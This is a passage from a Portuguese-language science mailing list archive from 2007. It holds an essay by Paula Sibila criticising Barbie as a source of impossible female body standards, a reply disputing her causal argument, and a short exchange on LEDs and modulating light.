continua sendo o ícone de um padrão de beleza dos mais insistentes. Tendo
habitado a infância das meninas do mundo inteiro há quase meio século, a
Barbie tornou-se um verdadeiro clássico na imposição das leis do "corpo bom"
em nossa sociedade. Todo um baluarte pedagógico, a famosa boneca é uma
pioneira na configuração de um modelo corporal que provavelmente seja o mais
tirânico da história ocidental.

Pois as medidas da Barbie são humanamente impossíveis: se os 29 cm de
plástico oco que a conformam fossem transformados em carne feminina, para
conservar as proporções de sua silhueta curvilínea demandariam uma altura de
2m13 e as seguintes medidas de busto, cintura e quadris: 96-45-83 cm.

Os cálculos indicam que uma mulher com essa contextura pesaria menos de 50
kg, portanto não possuiria a quantidade de gordura corporal suficiente para
ter ciclos menstruais regulares e não conseguiria nem sequer andar. Isto
significa que até mesmo as modelos que mais aproximam seus corpos dessa
imagem ideal ainda permanecem longe da "boneca perfeita". As medidas
habituais das profissionais da passarela são 1m75 de altura e os clássicos
90-60-90.

Quanto às mulheres "reais", a meta está bem mais longe dessa harmonia
numérica: para ter as formas da Barbie, uma mulher ocidental de porte médio
deveria esticar sua altura corporal em 40 cm, extrair uns 25 cm da sua
cintura e uns 20 cm dos quadris e, além disso, acrescentar mais alguns
centímetros nos seios.

Há, ainda, um dado bombástico: em 1958, quando a esposa do dono da empresa
Mattel teve a idéia genial de fabricar esse novo brinquedo, o design da
Barbie foi encomendado a um especialista com um currículo expressivo.
Trata-se de Jack Ryan, um engenheiro, que antes de chefiar o departamento de
pesquisa e desenvolvimento da Mattel, também trabalhou para o Pentágono e
para a empresa Raytheon, fabricante de equipamento bélico.

Nesse emprego anterior, o engenheiro foi responsável pelo design dos mísseis
Sparrow e Hawk. Sabe-se que os brinquedos nunca são artefatos neutros ou
"inocentes"; ao contrário, eles propõem "estilos de vida" capazes de
influenciar uma geração inteira -ou várias, como é o caso da bem-sucedida
boneca norte-americana. Nesse sentido, a Barbie não é uma trivial
mercadoria, e tampouco é apenas uma boneca. Ela é, sobretudo, um tipo de
corpo: um poderoso modelo corporal que com ela nasceu e com ela ainda se
desenvolve. Ela é, aliás, uma verdadeira arma de guerra, cujo efeito
consiste na radiação do "corpo perfeito" por todos os cantos do planeta.

A história da Barbie é muito eloqüente. Ela foi a primeira boneca cujo corpo
ousou imitar as formas de uma mulher adulta, enquanto os brinquedos mais
tradicionais destinados às meninas sempre reproduziram a figura do bebê ou
de uma criança. "Be anything", promete o slogan da Barbie: seja o que
desejar, você é livre para inventar seu próprio destino, pode escolher o
tipo de trabalho que irá desempenhar quando for adulta. Faça o que você
quiser, desde que a sua aparência seja como deve ser; isto é, o mais
parecida possível com a boneca impossível.

Pois a Barbie encarna duas tendências aparentemente contraditórias: por um
lado, ilustra a ampliação da autonomia e das liberdades de escolha para as
mulheres; por outro lado, também representa a ardilosa transformação do
corpo em uma mercadoria que deve ser constantemente aperfeiçoada. Duas
tendências que se aprofundaram nas últimas décadas, e não há dúvidas que a
própria Barbie contribuiu para sua expansão. Por isso, quando as meninas
crescem e não conseguem atingir nem o sucesso e nem o talhe prometidos na
infância, costumam recorrer a consolos mais acessíveis para aliviar suas
frustrações: as modelagens do bisturi, por exemplo, ou então os
antidepressivos -que um jargão mais antiquado chamaria de barbitúricos.

Não deixa de ser significativo, portanto, que esta altíssima loira de
silicone tenha sido lançada em 1959, prenunciando não apenas a "liberação
feminina" que logo viria, mas também a popularização das modelos hipermagras
que seguiram o exemplo da manequin Twiggy. Com suas inéditas medidas enxutas
e sua aparência "desnutrida", essa modelo britânica escandalizou o mundo
quando apareceu pela primeira vez nas páginas da revista "Vogue", em 1965.

No entanto, apesar das convulsões iniciais, suas formas descarnadas logo
conquistaram tanto o público como os mercados, e hoje nem suas medidas nem
seu aspecto causam espanto algum. Ao contrário, parecem perfeitamente
"normais". Tanto, que seria difícil identificar a magricela Twiggy se ela
desfilasse em qualquer "fashion week" do planeta.

Na época do seu lançamento, porém, há mais de quatro décadas, até a revista
que a descobrira admitiu o choque da novidade que tais formas corporais
apresentavam. A "Vogue" viu-se obrigada a publicar a seguinte advertência
junto às fotografias: "Suas pernas fazem pensar que ela não tomou suficiente
leite quando era bebê, e seu rosto mostra a expressão que deviam ter os
habitantes de Londres durante a guerra".

Paralelamente a estes dois fenômenos emblemáticos -a aparição da Barbie em
1959 e de Twiggy em 1965-, que marcaram os primeiros passos no advento deste
novo ideal do corpo feminino, o mundo ingressava em uma nova era. Nesse
ambiente transtornado pelas revoltas da juventude e pelas reivindicações
feministas, vivenciava-se uma flexibilização da rigidez moral que até então
tinha constrangido os relacionamentos e costumes.

Nesse quadro, começava a agonizar a velha "cultura da intimidade", que teve
seu auge no século 19 e na primeira metade do 20, e deu à luz às
subjetividades interiorizadas da modernidade. Um mundo, enfim, no qual os
sofrimentos eram vivenciados como conflitos interiores (pessoais e
privados), muitas vezes provocados pela necessidade de "reprimir" os desejos
individuais em face à severa moral vigente.

Diante da agonia desse universo, na segunda metade do século passado,
começou a despontar um novo regime de constituição das imagens corporais e
dos "modos de ser", um movimento histórico extremamente complexo que ainda
está em andamento, e que deslancharia uma crescente exteriorização do eu.
Desse processo participaram ativamente aquelas duas personagens femininas:
tanto a boneca Barbie como o corpo-modelo cuja linhagem Twiggy inaugurara.

Constantemente se renovam as roupas, os estilos e os incontáveis acessórios
que a empresa Mattel comercializa há 48 anos sob a lucrativa marca Barbie,
mas a silhueta da boneca permaneceu praticamente idêntica ao longo de todo
esse tempo. Em 1965, suas pernas se tornaram flexíveis; em 1968, o rosto
ganhou um aspecto ainda mais jovem, com longos cílios contornando seus
enormes olhos azuis. Depois, os cabelos lisos cresceram ainda mais e o corpo
ganhou maior mobilidade.

Em 1997, quando a moça já era bem mais que uma balzaquiana, os fabricantes
resolveram responder às crescentes críticas acerca da influência negativa
que estaria exercendo sobre as meninas do mundo inteiro, alastrando um
padrão corporal inatingível e contribuindo, dessa maneira, para a "epidemia"
de distúrbios alimentares e transtornos da imagem corporal. Assim, nos
exemplares mais recentes, tanto a cintura como os quadris da boneca
engrossaram levemente, na tentativa de tornar seu corpo um pouco mais
"realista", enquanto os seios foram diminuídos. De todo modo, as mudanças
são bastante sutis, e a Barbie continua sendo a Barbie.

A verdade é que o mercado desaconselha alterações mais profundas nessa
esbelta figura, que é líder de vendas entre todas as bonecas jamais criadas:
somente no ano em que virou quarentona, faturou US$ 2 bilhões. Vendem-se
anualmente mais de 100 milhões de exemplares em 140 países: a cada segundo,
três meninas deste planeta ganham um novo clone. Mas tais números se referem
apenas à marca oficial; esquecendo as incontáveis imitações que, a rigor,
cumprem idêntica função. Existe até um dado tão inútil como ilustrativo: se
colocássemos todas as Barbies vendidas nos primeiros 30 anos -isto é, apenas
até 1989- enfileiradas da ponta das madeixas aos curvos pés, seria possível
dar quatro vezes a volta ao mundo. Ninguém pode dizer que seja pouca coisa.

É claro que não se trata apenas de uma mercadoria a mais, porém de um
produto intensamente fetichizado. Não por acaso, esta boneca já foi tema de
sérios estudos acadêmicos e protagonizou exposições em museus e centros
culturais. Sob o nome de "complexo de Barbie", ainda, conhece-se a síndrome
que leva algumas mulheres a recorrer à cirurgia plástica e outras técnicas
afins para provocar drásticas mudanças em seus corpos, tendentes a se
parecerem com a loiríssima boneca.

Algumas o fazem explicitamente, e chegam a ficar famosas por causa disso:
escrevem livros sobre sua cruzada, contam suas experiências na televisão e
mostram orgulhosas os resultados. Um exemplo é Cindy Jackson, cujo site na
internet dispensa comentários: http://www.cindyjackson.com. Mas não é
preciso evocar esses extremos: são inúmeras as mulheres que perseguem essa
meta sem explicitá-lo, por isso é tão comum encontrar êmulas anônimas da
Barbie andando pelas ruas de qualquer cidade.

Como uma prova da vigorosa influência cultural desse modelo, não surpreende
que os padrões de beleza vigentes em nossa sociedade tenham mudado
radicalmente nos últimos 50a anos. Junto com esses protótipos ideais, também
foi se metamorfoseando a silhueta das mulheres reais de todo o planeta.
Basta citar apenas um exemplo bastante elucidativo: em 1951, a moça que
ganhou o concurso de Miss Suécia media 1m71 de altura e pesava 68,5 kg;
pouco mais de três décadas depois, sua colega de 1983 media 1m75 e pesava 49
kg.

Entre uma e outra rainha de beleza escandinava, houve uma verdadeira
barbierização dos padrões. Em termos médicos, o índice de massa corporal
(IMC) da primeira era de 23,4, um valor que ainda é tido como normal,
enquanto o da segunda é de 16, e já está bem aquém do mínimo considerado
saudável.

As manequins sempre foram magras: algumas décadas atrás, quando ainda não
eram celebridades e nem constituíam o sonho que toda menina quer encarnar
quando crescer, pesavam 8% menos que a média da população, mas atualmente
essa diferença é de 23%. No ano passado, ecoando uma série de notícias
trágicas sobre mortes de modelos que sofriam de anorexia (entre elas, a
brasileira Ana Carolina Reston), os organizadores da "fashion week" de Madri
impediram a participação de todas aquelas profissionais cujo índice de massa
corporal fosse inferior a 18. Para uma jovem de 1m75 de altura, esse valor
implica um peso de 56 kg.

Proibições semelhantes foram adotadas em desfiles realizados em outros
países, mas a decisão foi polêmica e muito criticada, inclusive por alguns
médicos, que sublinharam a ineficácia de utilizar apenas um indicador
isolado e arbitrário. De todo modo, sabe-se que a grande maioria das modelos
atuais ficaria desempregada se a nova regra se generalizasse, pois estima-se
que seu IMC oscile entre 17 e 17,5, podendo chegar até 15,6 -quando os
parâmetros médicos continuam a indicar que o valor "normal" repousa entre
18,5 e 25.

Confirmando esse brusco emagrecimento e alongamento ocorrido nas últimas
décadas, tanto dos padrões corporais considerados ideais como das medidas
reais dos corpos-modelo, uma revista afirmou que as medidas de Gisele
Bündchen "são perfeitas: 1m79 metro de altura e 54 kg". Isso implica um
índice de massa corporal de 16,85 -portanto, ela também seria banida dos
desfiles, caso a nova regra vingasse. Cabe frisar, porém, que o perfil dessa
modelo gaúcha se aproxima, bem mais que a maioria de nós, dos padrões
propostos pela Barbie; contudo, ela tampouco chega a atingi-los.

Por isso, aquele engenheiro Jack Ryan -criador de mísseis para o Pentágono e
da boneca Barbie para e empresa Mattel- ergue-se como uma encarnação moderna
do mítico escultor grego Pigmalião, aquele que esculpira uma estátua
perfeita da qual acabou se apaixonando. Afinal, o designer de equipamento
bélico que forjou a boneca mais famosa do mundo foi o sexto marido da bela
atriz Zsa Zsa Gabor, loira e esguia estrela de Hollywood dos anos 50
-considerada a primeira celebridade que ficou famosa apenas por causa da sua
celebridade; não por acaso, foi tia-avó de outra loira hoje célebre: Paris
Hilton.

O casamento do inventor e sua musa, porém, foi tão "imperfeito" que sequer
durou um ano. Contudo, assim como Pigmalião, o engenheiro norte-americano
acabou criando, artificialmente, uma mulher mais "perfeita" que qualquer
exemplar real e carnal do gênero feminino. Seguindo os passos da sua
ancestral mitológica -aquela escultura construída em marfim na Grécia
Antiga-, a boneca de plástico nascida em um laboratório do século 20 logo se
converteria no ícone do "corpo perfeito", um modelo a ser desejado e imitado
fervorosamente.

E uma verdadeira arma de guerra, pois tal desejo é tão ardente quanto
universal, capaz de converter todas as diferenças em meros desvios com
relação a essa poderosa norma. Nos últimos anos, os avanços do padrão
corporal magro, esbelto e "sarado" têm enxugado, gradativamente, todas as
alternativas que a diversidade étnica e cultural do mundo pré-globalizado
tinha a oferecer.

Um exemplo é bem local: as famosas mulatas do carnaval carioca recorrem,
cada vez mais, à lipoaspiração e ao silicone para tornear seus corpos de
acordo com os moldes globais. Outro exemplo é bastante longínquo, remete
àquelas silhuetas exóticas que alguma vez encantaram o pintor Paul Gauguin e
foram imortalizadas em todas as cores de sua obra.

Trata-se de um arquipélago da Micronésia rodeado pelo Oceano Pacífico, onde
os corpos e certos hábitos das nativas estão mudando de um modo peculiar:
poucos anos depois da televisão dos Estados Unidos ter irrompido no
cotidiano desse grupo de ilhas outrora isoladas, as mulheres começaram a se
preocupar intensamente com o próprio peso e com o aspecto corporal,
recorrendo a severas dietas e exercícios físicos. Além de mudarem os padrões
de beleza ancestrais, multiplicaram-se os casos de anorexia e bulimia na
região. Tudo para se parecer com ela: a Barbie.

Pois mesmo constituindo um ideal inatingível, sempre existe a possibilidade
de comprar o rosto e o corpo das modelos, uma promessa que é vendida nas
mais diversas embalagens: nas prateleiras de supermercados e farmácias, nas
academias de ginástica e nas clínicas de tratamentos estéticos, e agora
também nos "reality-shows de transformação".

Paula Sibila
É professora do Departamento de Estudos Culturais e Mídia, do Instituto de
Artes e Comunicação Social da Universidade Federal Fluminense (IACS-UFF).
Doutora em Comunicação e Cultura pela ECO-UFRJ e em Saúde Coletiva pelo
IMS-UERJ, é autora do livro "O Homem Pós-Orgânico: Corpo, Subjetividade e
Tecnologias Digitais".


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 14:13

>
>Não Jeff, no LED não temos controle algum de freqüência;
>esta já está fixada pela estrutura do LED. Uma vez excitado
>pela corrente ele emitirá sempre ondas coerentes de mesma
>freqüência, no caso, uma estreita faixa do infra vermelho.
>

Tens razão, viajei (e olha que eu estudei eletrônica! :-) Existem LED´s que
emitem várias cores, mas tem uma estrutura pra cada cor.

>
>É algo como vc ter uma lanterna comum e começar a piscar, com o
>botãozinho de apertar/soltar; vc poderá emitir um trem de 'luz visível'
>curto e outro mais longo --- mas, é sempre a "mesma" luz visível!
>

Sim, realmente, neste caso. Mas eu poderia transmitir um sinal analógico com
uma lâmpada (e depois receber com um sensor), modulando a amplitude, por
exemplo, como se fosse uma antena! Igualzinho a um rádio. Claro que com todo
o resto do circuito, usando a lâmpada apenas como antena de transmissão. Na
pergunta que gerou esta discussão, eu entendí que o Luiz perguntou se teria
alguma diferença entre transmitir e receber sinais por ondas visíveis da
mesma forma que se faz com rádio frequência.

>
>Algo assim: ||//\\\/\ /\/\//\\//\/|| \\/\//\|| /||/\\/ ...
>pacotes de várias freqüências,
>cuja impressão visual é o 'branco' e durações diferentes.
>

Não entendí o "cuja impressão visual é o 'branco'".

Obs.: Não muito a ver com o assunto, mas achei interessante postar aqui uma
notícia que recebí há pouco em uma mensagem de amigo: a invenção de um
componente eletrônico que converte 30% da energia cinética do ambiente em
energia elétrica! Pode-se ser usado, principalmente pra recarregar pequenas
baterias. Veja em
http://www.newscientisttech.com/article.ns?id=dn12190&feedId=tech_rss20

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 14:26

Me parece incrível que a professora não tenha considerado a possibilidade de
que a Barbie não seja causa de uma sociedade amante do intangível, mas uma
mostra deste fato. Bonecos são desproporcionais desde o início dos tempos,
quando eles ainda eram imagens de deuses. Estatuetazinhas de deusas-mãe por
todo o mundo sempre apresentaram mulheres com bunda e peito exagerados há
mais de 2 mil anos! Espartilho existe na Europa desde muito antes da criação
da Barbie. Os bonecos do comandos em ação musculosos nunca me fizeram querer
ser parecido com aquilo lá. E eu não vou nem falar do Lego, meu brinquedo
favorito... Em outras palavras, a professora acredita que se a Barbie fosse
mais gordinha, o número de casos de anorexia seria menor?

Shridhar
http://entropicando.blogspot.com

On 7/30/07, Esteban Moreno <estebanlmoreno@gmail.com> wrote:
>
> política
>
> PERFEIÇÃO
>
> A arma de guerra chamada Barbie
> Por Paula Sibila
>
> A boneca criada em 1958 é pioneira na configuração de um modelo corporal
> que
> talvez seja o mais tirânico da história ocidental
>
> Uma temporada após a outra, desfiles de moda acendem seus holofotes nas
> mais
> diversas cidades do mundo. Olhos fascinados (ou entediados) assistem aos
> vaivéns das passarelas, onde as modelos que servem de "cabide para as
> roupas" costumam despertar mais curiosidade que as extravagantes vestes em
> exibição.
>
> O corpo das modelos exerce um magnetismo não isento de polêmicas, tais
> como
> os escândalos e burburinhos ligados à anorexia, mas seu brilho nunca
> diminui. Elas continuam atraindo os olhares, surpreendentemente idênticas
> umas às outras, e todas muito diferentes das comuns mortais que as admiram
> em silêncio -e que gostariam de se parecer com elas. Exércitos de mulheres
> de todas as procedências querem copiar esses corpos-modelos que tanto se
> assemelham entre si, como numa clonagem universal de um protótipo que há
> décadas permanece incólume: a Barbie.
>
> Embora já esteja ficando quase velha, essa boneca esguia e eternamente
> jovem
> continua sendo o ícone de um padrão de beleza dos mais insistentes. Tendo
> habitado a infância das meninas do mundo inteiro há quase meio século, a
> Barbie tornou-se um verdadeiro clássico na imposição das leis do "corpo
> bom"
> em nossa sociedade. Todo um baluarte pedagógico, a famosa boneca é uma
> pioneira na configuração de um modelo corporal que provavelmente seja o
> mais
> tirânico da história ocidental.
>
> Pois as medidas da Barbie são humanamente impossíveis: se os 29 cm de
> plástico oco que a conformam fossem transformados em carne feminina, para
> conservar as proporções de sua silhueta curvilínea demandariam uma altura
> de
> 2m13 e as seguintes medidas de busto, cintura e quadris: 96-45-83 cm.
>
> Os cálculos indicam que uma mulher com essa contextura pesaria menos de 50
> kg, portanto não possuiria a quantidade de gordura corporal suficiente
> para
> ter ciclos menstruais regulares e não conseguiria nem sequer andar. Isto
> significa que até mesmo as modelos que mais aproximam seus corpos dessa
> imagem ideal ainda permanecem longe da "boneca perfeita". As medidas
> habituais das profissionais da passarela são 1m75 de altura e os clássicos
> 90-60-90.
>
> Quanto às mulheres "reais", a meta está bem mais longe dessa harmonia
> numérica: para ter as formas da Barbie, uma mulher ocidental de porte
> médio
> deveria esticar sua altura corporal em 40 cm, extrair uns 25 cm da sua
> cintura e uns 20 cm dos quadris e, além disso, acrescentar mais alguns
> centímetros nos seios.
>
> Há, ainda, um dado bombástico: em 1958, quando a esposa do dono da empresa
> Mattel teve a idéia genial de fabricar esse novo brinquedo, o design da
> Barbie foi encomendado a um especialista com um currículo expressivo.
> Trata-se de Jack Ryan, um engenheiro, que antes de chefiar o departamento
> de
> pesquisa e desenvolvimento da Mattel, também trabalhou para o Pentágono e
> para a empresa Raytheon, fabricante de equipamento bélico.
>
> Nesse emprego anterior, o engenheiro foi responsável pelo design dos
> mísseis
> Sparrow e Hawk. Sabe-se que os brinquedos nunca são artefatos neutros ou
> "inocentes"; ao contrário, eles propõem "estilos de vida" capazes de
> influenciar uma geração inteira -ou várias, como é o caso da bem-sucedida
> boneca norte-americana. Nesse sentido, a Barbie não é uma trivial
> mercadoria, e tampouco é apenas uma boneca. Ela é, sobretudo, um tipo de
> corpo: um poderoso modelo corporal que com ela nasceu e com ela ainda se
> desenvolve. Ela é, aliás, uma verdadeira arma de guerra, cujo efeito
> consiste na radiação do "corpo perfeito" por todos os cantos do planeta.
>
> A história da Barbie é muito eloqüente. Ela foi a primeira boneca cujo
> corpo
> ousou imitar as formas de uma mulher adulta, enquanto os brinquedos mais
> tradicionais destinados às meninas sempre reproduziram a figura do bebê ou
> de uma criança. "Be anything", promete o slogan da Barbie: seja o que
> desejar, você é livre para inventar seu próprio destino, pode escolher o
> tipo de trabalho que irá desempenhar quando for adulta. Faça o que você
> quiser, desde que a sua aparência seja como deve ser; isto é, o mais
> parecida possível com a boneca impossível.
>
> Pois a Barbie encarna duas tendências aparentemente contraditórias: por um
> lado, ilustra a ampliação da autonomia e das liberdades de escolha para as
> mulheres; por outro lado, também representa a ardilosa transformação do
> corpo em uma mercadoria que deve ser constantemente aperfeiçoada. Duas
> tendências que se aprofundaram nas últimas décadas, e não há dúvidas que a
> própria Barbie contribuiu para sua expansão. Por isso, quando as meninas
> crescem e não conseguem atingir nem o sucesso e nem o talhe prometidos na
> infância, costumam recorrer a consolos mais acessíveis para aliviar suas
> frustrações: as modelagens do bisturi, por exemplo, ou então os
> antidepressivos -que um jargão mais antiquado chamaria de barbitúricos.
>
> Não deixa de ser significativo, portanto, que esta altíssima loira de
> silicone tenha sido lançada em 1959, prenunciando não apenas a "liberação
> feminina" que logo viria, mas também a popularização das modelos
> hipermagras
> que seguiram o exemplo da manequin Twiggy. Com suas inéditas medidas
> enxutas
> e sua aparência "desnutrida", essa modelo britânica escandalizou o mundo
> quando apareceu pela primeira vez nas páginas da revista "Vogue", em 1965.
>
> No entanto, apesar das convulsões iniciais, suas formas descarnadas logo
> conquistaram tanto o público como os mercados, e hoje nem suas medidas nem
> seu aspecto causam espanto algum. Ao contrário, parecem perfeitamente
> "normais". Tanto, que seria difícil identificar a magricela Twiggy se ela
> desfilasse em qualquer "fashion week" do planeta.
>
> Na época do seu lançamento, porém, há mais de quatro décadas, até a
> revista
> que a descobrira admitiu o choque da novidade que tais formas corporais
> apresentavam. A "Vogue" viu-se obrigada a publicar a seguinte advertência
> junto às fotografias: "Suas pernas fazem pensar que ela não tomou
> suficiente
> leite quando era bebê, e seu rosto mostra a expressão que deviam ter os
> habitantes de Londres durante a guerra".
>
> Paralelamente a estes dois fenômenos emblemáticos -a aparição da Barbie em
> 1959 e de Twiggy em 1965-, que marcaram os primeiros passos no advento
> deste
> novo ideal do corpo feminino, o mundo ingressava em uma nova era. Nesse
> ambiente transtornado pelas revoltas da juventude e pelas reivindicações
> feministas, vivenciava-se uma flexibilização da rigidez moral que até
> então
> tinha constrangido os relacionamentos e costumes.
>
> Nesse quadro, começava a agonizar a velha "cultura da intimidade", que
> teve
> seu auge no século 19 e na primeira metade do 20, e deu à luz às
> subjetividades interiorizadas da modernidade. Um mundo, enfim, no qual os
> sofrimentos eram vivenciados como conflitos interiores (pessoais e
> privados), muitas vezes provocados pela necessidade de "reprimir" os
> desejos
> individuais em face à severa moral vigente.
>
> Diante da agonia desse universo, na segunda metade do século passado,
> começou a despontar um novo regime de constituição das imagens corporais e
> dos "modos de ser", um movimento histórico extremamente complexo que ainda
> está em andamento, e que deslancharia uma crescente exteriorização do eu.
> Desse processo participaram ativamente aquelas duas personagens femininas:
> tanto a boneca Barbie como o corpo-modelo cuja linhagem Twiggy inaugurara.
>
> Constantemente se renovam as roupas, os estilos e os incontáveis
> acessórios
> que a empresa Mattel comercializa há 48 anos sob a lucrativa marca Barbie,
> mas a silhueta da boneca permaneceu praticamente idêntica ao longo de todo
> esse tempo. Em 1965, suas pernas se tornaram flexíveis; em 1968, o rosto
> ganhou um aspecto ainda mais jovem, com longos cílios contornando seus
> enormes olhos azuis. Depois, os cabelos lisos cresceram ainda mais e o
> corpo
> ganhou maior mobilidade.
>
> Em 1997, quando a moça já era bem mais que uma balzaquiana, os fabricantes
> resolveram responder às crescentes críticas acerca da influência negativa
> que estaria exercendo sobre as meninas do mundo inteiro, alastrando um
> padrão corporal inatingível e contribuindo, dessa maneira, para a
> "epidemia"
> de distúrbios alimentares e transtornos da imagem corporal. Assim, nos
> exemplares mais recentes, tanto a cintura como os quadris da boneca
> engrossaram levemente, na tentativa de tornar seu corpo um pouco mais
> "realista", enquanto os seios foram diminuídos. De todo modo, as mudanças
> são bastante sutis, e a Barbie continua sendo a Barbie.
>
> A verdade é que o mercado desaconselha alterações mais profundas nessa
> esbelta figura, que é líder de vendas entre todas as bonecas jamais
> criadas:
> somente no ano em que virou quarentona, faturou US$ 2 bilhões. Vendem-se
> anualmente mais de 100 milhões de exemplares em 140 países: a cada
> segundo,
> três meninas deste planeta ganham um novo clone. Mas tais números se
> referem
> apenas à marca oficial; esquecendo as incontáveis imitações que, a rigor,
> cumprem idêntica função. Existe até um dado tão inútil como ilustrativo:
> se
> colocássemos todas as Barbies vendidas nos primeiros 30 anos -isto é,
> apenas
> até 1989- enfileiradas da ponta das madeixas aos curvos pés, seria
> possível
> dar quatro vezes a volta ao mundo. Ninguém pode dizer que seja pouca
> coisa.
>
> É claro que não se trata apenas de uma mercadoria a mais, porém de um
> produto intensamente fetichizado. Não por acaso, esta boneca já foi tema
> de
> sérios estudos acadêmicos e protagonizou exposições em museus e centros
> culturais. Sob o nome de "complexo de Barbie", ainda, conhece-se a
> síndrome
> que leva algumas mulheres a recorrer à cirurgia plástica e outras técnicas
> afins para provocar drásticas mudanças em seus corpos, tendentes a se
> parecerem com a loiríssima boneca.
>
> Algumas o fazem explicitamente, e chegam a ficar famosas por causa disso:
> escrevem livros sobre sua cruzada, contam suas experiências na televisão e
> mostram orgulhosas os resultados. Um exemplo é Cindy Jackson, cujo site na
> internet dispensa comentários: http://www.cindyjackson.com. Mas não é
> preciso evocar esses extremos: são inúmeras as mulheres que perseguem essa
> meta sem explicitá-lo, por isso é tão comum encontrar êmulas anônimas da
> Barbie andando pelas ruas de qualquer cidade.
>
> Como uma prova da vigorosa influência cultural desse modelo, não
> surpreende
> que os padrões de beleza vigentes em nossa sociedade tenham mudado
> radicalmente nos últimos 50a anos. Junto com esses protótipos ideais,
> também
> foi se metamorfoseando a silhueta das mulheres reais de todo o planeta.
> Basta citar apenas um exemplo bastante elucidativo: em 1951, a moça que
> ganhou o concurso de Miss Suécia media 1m71 de altura e pesava 68,5 kg;
> pouco mais de três décadas depois, sua colega de 1983 media 1m75 e pesava
> 49
> kg.
>
> Entre uma e outra rainha de beleza escandinava, houve uma verdadeira
> barbierização dos padrões. Em termos médicos, o índice de massa corporal
> (IMC) da primeira era de 23,4, um valor que ainda é tido como normal,
> enquanto o da segunda é de 16, e já está bem aquém do mínimo considerado
> saudável.
>
> As manequins sempre foram magras: algumas décadas atrás, quando ainda não
> eram celebridades e nem constituíam o sonho que toda menina quer encarnar
> quando crescer, pesavam 8% menos que a média da população, mas atualmente
> essa diferença é de 23%. No ano passado, ecoando uma série de notícias
> trágicas sobre mortes de modelos que sofriam de anorexia (entre elas, a
> brasileira Ana Carolina Reston), os organizadores da "fashion week" de
> Madri
> impediram a participação de todas aquelas profissionais cujo índice de
> massa
> corporal fosse inferior a 18. Para uma jovem de 1m75 de altura, esse valor
> implica um peso de 56 kg.
>
> Proibições semelhantes foram adotadas em desfiles realizados em outros
> países, mas a decisão foi polêmica e muito criticada, inclusive por alguns
> médicos, que sublinharam a ineficácia de utilizar apenas um indicador
> isolado e arbitrário. De todo modo, sabe-se que a grande maioria das
> modelos
> atuais ficaria desempregada se a nova regra se generalizasse, pois
> estima-se
> que seu IMC oscile entre 17 e 17,5, podendo chegar até 15,6 -quando os
> parâmetros médicos continuam a indicar que o valor "normal" repousa entre
> 18,5 e 25.
>
> Confirmando esse brusco emagrecimento e alongamento ocorrido nas últimas
> décadas, tanto dos padrões corporais considerados ideais como das medidas
> reais dos corpos-modelo, uma revista afirmou que as medidas de Gisele
> Bündchen "são perfeitas: 1m79 metro de altura e 54 kg". Isso implica um
> índice de massa corporal de 16,85 -portanto, ela também seria banida dos
> desfiles, caso a nova regra vingasse. Cabe frisar, porém, que o perfil
> dessa
> modelo gaúcha se aproxima, bem mais que a maioria de nós, dos padrões
> propostos pela Barbie; contudo, ela tampouco chega a atingi-los.
>
> Por isso, aquele engenheiro Jack Ryan -criador de mísseis para o Pentágono
> e
> da boneca Barbie para e empresa Mattel- ergue-se como uma encarnação
> moderna
> do mítico escultor grego Pigmalião, aquele que esculpira uma estátua
> perfeita da qual acabou se apaixonando. Afinal, o designer de equipamento
> bélico que forjou a boneca mais famosa do mundo foi o sexto marido da bela
> atriz Zsa Zsa Gabor, loira e esguia estrela de Hollywood dos anos 50
> -considerada a primeira celebridade que ficou famosa apenas por causa da
> sua
> celebridade; não por acaso, foi tia-avó de outra loira hoje célebre: Paris
> Hilton.
>
> O casamento do inventor e sua musa, porém, foi tão "imperfeito" que sequer
> durou um ano. Contudo, assim como Pigmalião, o engenheiro norte-americano
> acabou criando, artificialmente, uma mulher mais "perfeita" que qualquer
> exemplar real e carnal do gênero feminino. Seguindo os passos da sua
> ancestral mitológica -aquela escultura construída em marfim na Grécia
> Antiga-, a boneca de plástico nascida em um laboratório do século 20 logo
> se
> converteria no ícone do "corpo perfeito", um modelo a ser desejado e
> imitado
> fervorosamente.
>
> E uma verdadeira arma de guerra, pois tal desejo é tão ardente quanto
> universal, capaz de converter todas as diferenças em meros desvios com
> relação a essa poderosa norma. Nos últimos anos, os avanços do padrão
> corporal magro, esbelto e "sarado" têm enxugado, gradativamente, todas as
> alternativas que a diversidade étnica e cultural do mundo pré-globalizado
> tinha a oferecer.
>
> Um exemplo é bem local: as famosas mulatas do carnaval carioca recorrem,
> cada vez mais, à lipoaspiração e ao silicone para tornear seus corpos de
> acordo com os moldes globais. Outro exemplo é bastante longínquo, remete
> àquelas silhuetas exóticas que alguma vez encantaram o pintor Paul Gauguin
> e
> foram imortalizadas em todas as cores de sua obra.
>
> Trata-se de um arquipélago da Micronésia rodeado pelo Oceano Pacífico,
> onde
> os corpos e certos hábitos das nativas estão mudando de um modo peculiar:
> poucos anos depois da televisão dos Estados Unidos ter irrompido no
> cotidiano desse grupo de ilhas outrora isoladas, as mulheres começaram a
> se
> preocupar intensamente com o próprio peso e com o aspecto corporal,
> recorrendo a severas dietas e exercícios físicos. Além de mudarem os
> padrões
> de beleza ancestrais, multiplicaram-se os casos de anorexia e bulimia na
> região. Tudo para se parecer com ela: a Barbie.
>
> Pois mesmo constituindo um ideal inatingível, sempre existe a
> possibilidade
> de comprar o rosto e o corpo das modelos, uma promessa que é vendida nas
> mais diversas embalagens: nas prateleiras de supermercados e farmácias,
> nas
> academias de ginástica e nas clínicas de tratamentos estéticos, e agora
> também nos "reality-shows de transformação".
>
> Paula Sibila
> É professora do Departamento de Estudos Culturais e Mídia, do Instituto de
> Artes e Comunicação Social da Universidade Federal Fluminense (IACS-UFF).
> Doutora em Comunicação e Cultura pela ECO-UFRJ e em Saúde Coletiva pelo
> IMS-UERJ, é autora do livro "O Homem Pós-Orgânico: Corpo, Subjetividade e
> Tecnologias Digitais".
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Gerando luz através de osciladores.
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 14:29

